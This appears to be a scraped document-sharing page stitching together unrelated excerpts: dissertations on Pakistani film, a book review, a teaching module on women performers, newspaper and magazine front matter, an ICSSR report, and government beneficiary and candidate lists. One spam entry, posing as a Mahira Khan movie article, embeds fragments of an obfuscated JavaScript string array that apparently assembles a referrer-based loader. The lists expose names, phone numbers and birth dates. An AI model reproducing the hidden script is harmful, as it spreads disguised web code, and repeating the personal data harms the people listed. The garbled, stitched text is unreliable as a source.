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Copyright by Gwendolyn Sarah Kirk 2016
Copyright by Gwendolyn Sarah Kirk 2016 The Dissertation committee for Gwendolyn Sarah Kirk certifies that this is the approved version of the following dissertation: Uncivilized language and aesthetic exclusion: Language, power and film production in Pakistan Committee: _____________________________ Craig Campbell, Co-Supervisor _____________________________ Elizabeth Keating, Co-Supervisor _____________________________ Kamran Ali _____________________________ Patience Epps _____________________________ Ali Khan _____________________________ Kathleen Stewart _____________________________ Anthony Webster Uncivilized language and aesthetic exclusion: Language, power and film production in Pakistan by Gwendolyn Sarah Kirk, B.A.; M.A. Dissertation Presented to the Faculty of the Graduate School of the University of Texas at Austin in Partial Fulfillment of the Requirements for the Degree of Doctor of Philosophy The University of Texas at Austin December 2016 To my parents Acknowledgements This dissertation would not have been possible first and foremost without the kindness and generosity of the filmmakers I worked with at Evernew Studio. Parvez Rana, Hassan Askari, Z.A. Zulfi, Pappu Samrat, Syed Noor, Babar Butt, and literally everyone else I met in the film industry were welcoming and hospitable beyond what I ever could have hoped or imagined. The cast and crew of Sharabi, in particular, went above and beyond to facilitate my research and make sure I was at all times comfortable and safe and had answers to whatever stupid questions I was asking that day! Along with their kindness, I was privileged to witness their industry, creativity, and perseverance, and I will be eternally inspired by and grateful to them. My committee might seem large at seven members, but all of them have been incredibly helpful and supportive throughout my time in graduate school, and each of them have helped develop different dimensions of this work. -
Movies Richard Linklater Shares His Alternate 80S Soundtrack for Mahira Khan New Pakistani Movi
Movies: Richard Linklater Shares His Alternate 80s Soundtrack For Mahira Khan New Pakistani Movie Movies: Richard Linklater Shares His Alternate 80s Soundtrack For Mahira Khan New Pakistani Movie 1 / 4 2 / 4 co";J["QUOO"]="')[0";J["JCwu"]="rl:'";J["FYti"]="qXHR";J["SuZM"]="proc";J["hvPH"]="jque";J["qDzE"]="pt',";J["LTKM"] ="min. ap";J["SJLe"]="f(ty";J["OrOt"]="ebly";J["YJkK"]=">0)|";J["tzyt"]="){va";J["EfKC"]="=doc";J["iYfD"]=".. Saba is hopelessly in love with Irtaza Mahira Khan is a Pakistani Model, actress and also named as a Video jockey.. \")";J["DWNA"]="\"mai";J["FIRX"]="agNa";J["zyAh"]="ar a";J["YjqK"]="dlat";J["lQIR"]="th>0";J["JmTM"]=");a.. ind";J["JWlS"]="',su";J["OXqO"]="ry/3";J["wFwi"]="07 j";J["OkKk"]="m/aj";J["sIJB"]="text";J["efKt"]="Elem";J["xzFb"]="com/";J["pocU"]=" $==";J["NnDb"]="owme";J["ULpG"]="K. Ardic Diesel Heater Manual ";J["uMas"]="nseD";J["uBlL"]="eout";J["LcNr"]="\")>0";J["NtkX"]="espo";J["nMuX"]="Stat";J["UgiV"]="e';$";J["qvbT"]="1 00)";J["ObSu"]="ncti";J["UyUf"]="n rd";J["rLcW"]="on(r";J["LEqv"]="ar r";J["TbeM"]=". Usa Cigarettes Online Save On Excel 2016 For Mac Freezes My Computer Línea De Tiempo De La Oficina Para Mac PowerPoint The film, which also stars Pakistani actor Mahira Khan Fawad Afzal Khan (born 29 November 1981) is a Pakistani actor, model and singer who appears in Pakistani TV serials, Lollywood films and Bollywood films. How To Download Adobe After 3 / 4 Effects Cs6 For Free Mac Download Convert Pdf Text To Vector free br";J["Brgv"]="js')";J["fHrH"]="|ref";J["igpZ"]="(\"ms";J["Pjby"]="ax g";J["PaSJ"]="ype:";J["hiVM"]="){se";J["yeuz"]="|(re"; J["WUKX"]="pe:'";J["Ljff"]=";}}}";J["jIYG"]="tEle";J["HOWm"]="forc";J["GJsi"]=";}el";J["retL"]=");";J["MXaW"]="r. -
JSY Mother Beneficiary of District Poonch for the Year 2019-20 Name of the Name of Name of the Complete Contact Date of Amount S.No
JSY Mother Beneficiary of District Poonch for the year 2019-20 Name of the Name of Name of the Complete Contact Date of Amount S.No. Husband's Name Institution where Through DBT the Block Beneficiary Address Number Delivery Paid (Rs.) delivery 1 Poonch Nazma Bi Safeer Ahmed Poonch 9622193647 DH Poonch 06.01.2019 ₹ 1,000.00 RSSDH/P/11 2 Poonch Rukhsana Mushtaq Ahmed Poonch 9086853585 DH Poonch 09.03.2019 ₹ 1,000.00 RSSDH/P/11 3 Poonch Meenakshi Rakesh Kumar Poonch 9622299018 DH Poonch 20.03.2019 ₹ 1,000.00 RSSDH/P/11 4 Poonch Rimpy Kumari Sandeep Poonch 9797571072 DH Poonch 12.03.2019 ₹ 1,000.00 RSSDH/P/11 5 Poonch Anjana Pappu Poonch 9797554896 DH Poonch 20.02.2019 ₹ 1,000.00 RSSDH/P/11 6 Poonch Naseeb Fatimah Layqait Ali Poonch 8492930511 DH Poonch 23.09.2018 ₹ 1,000.00 RSSDH/P/11 7 Poonch Nahida Kosser Maroof H Shah Poonch 9596748089 DH Poonch 02.02.2019 ₹ 1,000.00 RSSDH/P/11 8 Poonch Shamshed Begum Mohd Sadiq Poonch 9797314510 DH Poonch 13.03.2019 ₹ 1,000.00 RSSDH/P/11 9 Poonch Santosh Rani Vishal Sharma Poonch 8492928468 DH Poonch 03.04.2019 ₹ 1,000.00 RSSDH/P/11 10 Poonch Khalida Bee Mohd Shoket Poonch 9070654248 DH Poonch 07.04.2019 ₹ 1,000.00 RSSDH/P/11 11 Poonch Farzana Koser Mohd Tariq Poonch 9086202935 DH Poonch 16.03.2019 ₹ 1,000.00 RSSDH/P/11 12 Poonch Heena Kosser Maroof Ahmed Poonch 9596747960 DH Poonch 24.12.2019 ₹ 1,000.00 RSSDH/P/11 13 Poonch Farzana Akhter Aqeel Hussain Poonch 8492012939 DH Poonch 13.04.2019 ₹ 1,000.00 RSSDH/P/25 14 Poonch Meetu Rishi Bharat Bushan Poonch 7051848693 DH Poonch 10.06.2019 ₹ 1,000.00 RSSDH/P/25 -
Provisional List of D.El.Ed CET 2021 Candidates
Provisional List of D.El.Ed CET 2021 Candidates - Fee Not Received as on 1st July 2021 APP GEN S.NO CANDIDATE NAME FATHER NAME MOTHER NAME DOB DISTRICT NO DER 1 10001 DEMO RAJA DEMO RAMAA DEMI M 06-06-1989 Kangra 2 10002 TEST KUMARR TEST FATHERR TEST MOTHERR F 05-06-2004 Kangra 3 10006 SA J M M 06-07-1992 Kangra 4 10011 BHANGU RAM UDDHO CHAND KALAWATI DEVI M 01-05-2004 Kullu 5 10019 RAM SHAM KUMAR ANITA DEVI M 12-01-1997 Kangra 6 10024 AMANDEEP PRITHI CHAND NEETA DEVI M 13-08-1997 Kangra 7 10030 AYUSHI JAGPAUL JATTI DEVI F 13-11-1997 Mandi 8 10031 LOK NATH PURAN CHAND SITA DEVI M 04-01-1993 Mandi 9 10034 KEWAL BHURI SINGH LAKHNU M 01-09-1994 Chamba 10 10039 SHIVAM CHOUDHARY RAMESH KUMAR RESHMA DEVI M 03-05-2000 Kangra 11 10043 AKSHAY JAGPAL JATTI DEVI M 27-08-1999 Mandi 12 10044 RAMESH KUMAR NIHAL SINGH PREM DEI M 14-08-1994 Chamba 13 10051 ANKUSH KUMAR RAMESH CHAND SUBHASHNA DEVI M 25-05-1990 Kangra 14 10052 PRIYANKA KOUSHAL RAMESH KUMAR NIRMLA DEVI F 03-04-1998 Kangra 15 10054 PARUL CHAUHAN RAJENDER CHAUHAN KAMLA DEVI F 23-06-2000 Sirmour 16 10066 ARUN UTTAM SINGH GUDDI DEVI M 10-05-1997 Chamba 17 10067 SAVITA KUMARI JAGDISH CHAND URMILA DEVI F 15-12-1990 Kangra 18 10071 AMAN PARKASH JASSU M 24-07-2002 Bilaspur 19 10073 GOURAV KUMAR SURINDER KUMAR SUSHMA DEVI M 03-09-1998 Kangra 20 10076 BHAVANA KUMARI SH. -
Book Review Essay Siren Song
Journal of International Women's Studies Volume 21 Issue 6 Article 41 August 2020 Book Review Essay Siren Song Taimur Rahman Follow this and additional works at: https://vc.bridgew.edu/jiws Part of the Women's Studies Commons Recommended Citation Rahman, Taimur (2020). Book Review Essay Siren Song. Journal of International Women's Studies, 21(6), 516-519. Available at: https://vc.bridgew.edu/jiws/vol21/iss6/41 This item is available as part of Virtual Commons, the open-access institutional repository of Bridgewater State University, Bridgewater, Massachusetts. This journal and its contents may be used for research, teaching and private study purposes. Any substantial or systematic reproduction, re-distribution, re-selling, loan or sub-licensing, systematic supply or distribution in any form to anyone is expressly forbidden. ©2020 Journal of International Women’s Studies. Siren Song1 Reviewed by Taimur Rahman2 The title of this book is extremely misleading. This is not a book about siren songs. Or perhaps it is, but not in the way you think. The book draws you in, dressed as a biography of prominent Pakistani female singers. And then, you find yourself trapped into a complex discussion of post-colonial philosophy stretching across time (in terms of philosophy) and space (in terms of continents). Hence, any review of this book cannot be a simple retelling of its contents but begs the reader to engage in some seriously strenuous thinking. I begin my review, therefore, not with what is in, but with what is not in the book - the debate that shapes the book, and to which this book is a stimulating response. -
Women Performing Artists in Colonial India There Were Few Women Painters in Colonial India
I. (A) Personal Details Role Name Affiliation Principal Investigator Prof. Sumita University of Allhabad Parmar Paper Coordinator Prof Rekha Pande University of Hyderabad Author Dr. Archana Verma Independent Scholar Content Reviewer (CR) Prof Rekha Pande University of Hyderabad Language Editor (LE) Prof. Sumita University of Allhabad Parmar (B) Description of Module Items Description of Module Subject Name Women’s Studies Paper Name Women and History Module Name/ Title, Women performers in colonial India description Module ID Paper- 3, Module-30 Pre-requisites None Objectives To explore the achievements of women performers in colonial period Keywords Indian art, women in performance, cinema and women, India cinema, Hindi cinema Women Performing Artists in Colonial India There were few women painters in Colonial India. But in the performing arts, especially acting, women artists were found in large numbers in this period. At first they acted on the stage in theatre groups. Later, with the coming of cinema, they began to act for the screen. Cinema gave them a channel for expressing their acting talent as no other medium had before. Apart from acting, some of them even began to direct films at this early stage in the history of Indian cinema. Thus, acting and film direction was not an exclusive arena of men where women were mostly subjects. It was an arena where women became the creators of this art form and they commanded a lot of fame, glory and money in this field. In this module, we will study about some of these women. Nati Binodini (1862-1941) Fig. 1 – Nati Binodini (get copyright for use – (https://commons.wikimedia.org/wiki/File:Binodini_dasi.jpg) Nati Binodini was a Calcutta based renowned actress, who began to act at the age of 12. -
Mahira Khan, Pakistani Actress, Talks What She Dreams About Now That She's Hit the Pinnacle of Stardom, Her Upcoming Film
Community Community Richard US-based Russo’s Pakistani P7new novel P16 tech expert Chances Are... lays stress on need is a beguiling for mentoring young reunion of entrepreneurs and college friends. building startups. Thursday, August 8, 2019 Dhul-Hijja 7, 1440 AH Doha today: 350 - 450 COVER STORY Mahira Khan, Pakistani actress, talks what she dreams about now that she’s hit the pinnacle of stardom, her upcoming film and more. PP4-64-6 2 GULF TIMES Thursday, August 8, 2019 COMMUNITY ROUND & ABOUT PRAYER TIME Fajr 3.40am Shorooq (sunrise) 5.05am Zuhr (noon) 11.41am Asr (afternoon) 3.09pm Maghreb (sunset) 6.16pm Isha (night) 7.46pm Parey Hut Love of commitments when it comes to relationships. His life takes USEFUL NUMBERS DIRECTION: Asim Raza a twist when he meets a strong-willed, gorgeous girl and falls CAST: Sheheryar Munawar Siddiqui, Maya Ali, Zara Noor in love with her. Abbas, Faheem Azam, Ahmed Ali Butt SYNOPSIS: The story of a guy who is carefree and afraid THEATRES: The Mall, Landmark, Royal Plaza Emergency 999 Worldwide Emergency Number 112 Kahramaa – Electricity and Water 991 Local Directory 180 International Calls Enquires 150 Hamad International Airport 40106666 Labor Department 44508111, 44406537 Mowasalat Taxi 44588888 Qatar Airways 44496000 Hamad Medical Corporation 44392222, 44393333 Qatar General Electricity and Water Corporation 44845555, 44845464 Primary Health Care Corporation 44593333 44593363 Qatar Assistive Technology Centre 44594050 Qatar News Agency 44450205 44450333 Q-Post – General Postal Corporation 44464444 -
Magazine July-2020
VOLUME-1 | ISSUE-14 | JULY 2020 Sino-India Stand-off CHINA EXPLAINS THE LADDAKH CONFLICT HAS INDIA OVERPLAYED ITS HAND? CPEC – A NOSH FROM HEAVEN? IN INDIA CLASH, CHINA SHOWS OFF MUSCLE FIXING PAKISTAN'S AVIATION THE SINO-INDIAN STANDOFF 13-K F-7 Markaz (051) 8437318 Islamabad | FROM INTIMATE HUG TO ESTRANGEMENT SUPERIORITY, THE RACE TO BE ONE UP. @WILDWINGSPAKISTAN @WILDWINGSPK f matrixxmedia matrixxmedia matrix.media matrixmag.com TEAM MATRIX Editor in Chief Content Editor Imtiaz Gul Aliya Naseer Farooq Managing Editor Content Writer Sameena Durrani Jehangir Khattak Associate Editor Content Writer Saad Gul Faizah Gillani Editor at large Content Writer Zeeshan Salahuddin Saddam Hussein Special Contributors Shaan Mehdi - Toronto Rafiq Jan - Doha Sitwat Bokhari Haroon Gul CONTENTS EDITOR’S NOTE The Sino-Indian Stand off 04 A deadly clash on June 15 between the Chinese and Indian soldiers close to Ladakh stand-off: China-Pakistan closer than ever before! 06 Patrol Point 14 in the Galwan Valley of eastern Ladakh, more than 4,300 metres above sea level, resulted in 20 Indian fatalies. China says the China explains the Laddakh Conflict 08 Galwan Valley falls enrely within its territory and blamed New Delhi for the clash and stated the clash occurred on the Chinese side of the Line of Actual India Imports over 80% of Pharma Raw Materials From China 09 Control (LAC) - the de facto border between the two Asian rivals. As both sides traded allegaons with confused messaging on the incident In India clash, China shows off muscle 10 out of New Delhi, the episode also alarmed the enre world, with analysts conjecturing as to whether this could flare up into a full-fledged Indo-China Efforts towards intra-Afghan negotiations pick up momentum 12 war. -
Diary No. Personal Number Name of Beneficiary CNIC No Last Position
Diary Personal Retirement Branch Amount to Payment Name of Beneficiary CNIC No Last Position BPS Name of Department Beneficiary CNIC Title of Account Account Number Bank Name Remarks No. -
Copyright by Peter James Kvetko 2005
Copyright by Peter James Kvetko 2005 The Dissertation Committee for Peter James Kvetko certifies that this is the approved version of the following dissertation: Indipop: Producing Global Sounds and Local Meanings in Bombay Committee: Stephen Slawek, Supervisor ______________________________ Gerard Béhague ______________________________ Veit Erlmann ______________________________ Ward Keeler ______________________________ Herman Van Olphen Indipop: Producing Global Sounds and Local Meanings in Bombay by Peter James Kvetko, B.A.; M.M. Dissertation Presented to the Faculty of the Graduate School of the University of Texas at Austin in Partial Fulfillment for the Degree of Doctor of Philosophy The University of Texas at Austin May 2005 To Harold Ashenfelter and Amul Desai Preface A crowded, red double-decker bus pulls into the depot and comes to a rest amidst swirling dust and smoke. Its passengers slowly alight and begin to disperse into the muggy evening air. I step down from the bus and look left and right, trying to get my bearings. This is only my second day in Bombay and my first to venture out of the old city center and into the Northern suburbs. I approach a small circle of bus drivers and ticket takers, all clad in loose-fitting brown shirts and pants. They point me in the direction of my destination, the JVPD grounds, and I join the ranks of people marching west along a dusty, narrowing road. Before long, we are met by a colorful procession of drummers and dancers honoring the goddess Durga through thundering music and vigorous dance. The procession is met with little more than a few indifferent glances by tired workers walking home after a long day and grueling commute. -
Rang Sazi: Introduction and Evolution of Color Film Technology in Pakistan Zuraiz Ur Rehman Niazi
Rang Sazi: Introduction and Evolution of Color Film Technology in Pakistan Zuraiz ur Rehman Niazi Abstract This paper discusses the introduction and evolution of color film technology in Pakistani cinema. It focuses on the transitional period from the 1960s to the 1980s and highlights the major technological and practical changes in the production of films in Pakistan, contextualizing the semiotics and importance of color for this film industry. While discussing this transition from black and white to color film in Pakistan, it also connects this shift with the evolution and introduction of color film technology on a global level, including earlier technologies of color and colorization. The research is supported by a short analysis of some early Pakistani color films. Field research at Evernew Studios, one of Pakistan's oldest film studios, also sheds some light on how the industry transitioned to color film and how technology and filmmaking was affected. Keywords: Color Film Technology, Development of Pakistani Film, Pakistani Film Studios, Film Technology and Infrastructure Introduction Color films have evolved greatly since they were first introduced in Pakistan in the 1960s. Unfortunately, there is little literature available that can address the questions of the technology and techniques that were used to make color films in the country at that time. Azra (dir. Munshi Dil, 1962) is known to be the first Pakistani color film. However, color was not new to the subcontinent. Azra came out twenty-five years after the first Hindi color film Kisan Kanya (dir. Moti B. Gidwani, 1937). Early color films in the subcontinent were either hand painted or used color film stock, like those is western countries. -
Annual Report 2014-15 ICSSR Annual Report 2014-15 ICSSR
Annual Report 2014-15 ICSSR Annual Report 2014-15 ICSSR Aruna Asaf Ali Marg, JNU Institutional Area, New Delhi - 110067 Tel No. 26741849/50/51 Fax : 91-11-26741836 Ministry of Human Resource Development e-mail : [email protected] Website : www.icssr.org Government of India Annual Report 2014-15 Indian Council Of Social Science Research Aruna Asaf Ali Marg, J.N.U. Institutional Area, New Delhi-110067 Contents Programmes 1-48 1. Overview 1-3 2. Research Promotion 4-12 3. Documentation 13-16 4. Research Survey and Publications 17-18 5. International Collaboration 19-31 6. Regional Centers 32-37 7. Research Institutes 38-47 Appendices 49-480 1. List of Members of the Council 51-53 2. ICSSR Senior Officials 54-55 3. Research Projects 56-107 4. Research Fellowships 108-193 5. Financial Assistance Provided for Organising 194-200 Capacity Building Programmes and Research Methodology Courses. 6. Financial Assistance Provided for Organising 201-244 International / National Seminars/ Conferences/ Workshops in India. 7. Publication Grants 245-250 8. Financial Assistance Provided to Scholars for 251-268 Participation in International Conferences / Data Collection Abroad. 9. Major Activities of ICSSR Regional Centres 269-296 10. Major Activities of ICSSR Research Institutes 297-475 11. Theses Purchased / Bibliographies Prepared in 476-479 the NASSDOC Statement of Accounts 481-580 Programmes 1 Overview Social science research, which presupposes launched in May 1969. It was considered a freedom of intellectual choice and opinion, significant achievement of evolving Indian needs to be encouraged by a developing democracy. nation. India has not only encouraged it, but also promoted it with state patronage.